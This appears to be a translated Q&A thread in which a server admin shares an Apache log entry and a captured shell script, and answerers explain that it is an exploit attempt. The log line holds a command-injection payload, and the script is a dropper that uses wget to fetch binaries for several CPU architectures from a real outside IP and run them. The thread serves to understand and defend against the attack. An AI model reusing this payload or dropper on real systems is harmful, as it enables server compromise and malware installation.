web-dev-qa-db-pt.com

O que esse script bash faz? [Hack Attempt]

Eu tenho notado em meus servidores logs do Apache, as seguintes linhas estranhas ultimamente:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Então eu criei um filtro Fail2Ban personalizado e comecei a proibir os IPs solicitando esses URLs /login.cgi.

Mas eu estava curioso para saber o que eles estavam tentando fazer, então eu puxei o script que eles estão tentando executar e não consigo descobrir o que exatamente isso faz. Algo sobre como remover pastas do Arch em/var e/tmp?

De qualquer forma, aqui está:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $Shell $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
30
ndom91

Linha por linha:

#!/bin/sh

Estabelece o sh Shell, o que quer que seja, como a linha Shebang. sh%20/tmp/ks na solicitação sobrescreve isso, portanto, essa linha é tratada como um comentário normal e ignorada.

u="asgknskjdgn"

Declara um nome arbitrário, presumivelmente para evitar colidir com outros nomes de arquivos. Não sei por que eles não usam apenas mktemp, mas talvez isso não esteja disponível em todas as plataformas.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera várias arquiteturas de CPU comuns.

http_server="80.211.173.159"
http_port=80

O servidor que possui o exploit.

cd /tmp/||cd /var/

Tenta mudar o diretório para algum lugar em que seu servidor da Web possa criar arquivos. Acredito que o SELinux ajudará com isso, impondo regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos faz sozinho.

for name in $bin_names
    do

Para cada arquitetura de CPU ...

    rm -rf $u

Remove programas de exploração previamente experimentados. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.

    cp $Shell $u

Copia o executável atual do Shell (/bin/sh). Pode ser ignorado por causa da linha após o próximo.

    chmod 777 $u

Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter ocorrido após o comando wget, que é um sinal de um novato de script da Shell ou de uma técnica de direcionamento incorreto.

    >$u

Esvazia o arquivo. Inútil por causa da próxima linha.

    wget http://$http_server:$http_port/$name -O -> $u

Sobrescreve o arquivo com o script de exploração para esta arquitetura. -O -> $u poderia ter sido escrito -O - > $u (o hífen indica que o download deve ser gravado na saída padrão), o que equivale a -O $u.

    ./$u $name

Executa o script de exploração com a arquitetura como o primeiro argumento.

done

Termina o loop.

Parece que este é um script de tentativa de exploração trivial, tentando explorações conhecidas contra várias plataformas de CPU. Eu não sei porque substitui $u três vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, essa versão anterior tinha as explorações codificadas em vez de serem servidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz com o tempo, à medida que os bugs são corrigidos.

42
l0b0

O wget é a chave da linha perigosa.

O for name in $bin_names está trabalhando na lista de plataformas e, para cada plataforma, está limpando um diretório temporário, copiando um Shell e tornando-o acessível para todos.

Em seguida, ele faz o download de um arquivo usando wget e, em seguida, o executa usando o programa Shell que acabou de ser copiado.

O script está basicamente tentando baixar uma série de executáveis ​​ou scripts para cada plataforma possível e esfregando-os contra o sistema, na esperança de que isso possa comprometer ainda mais o seu sistema.

12
Mokubai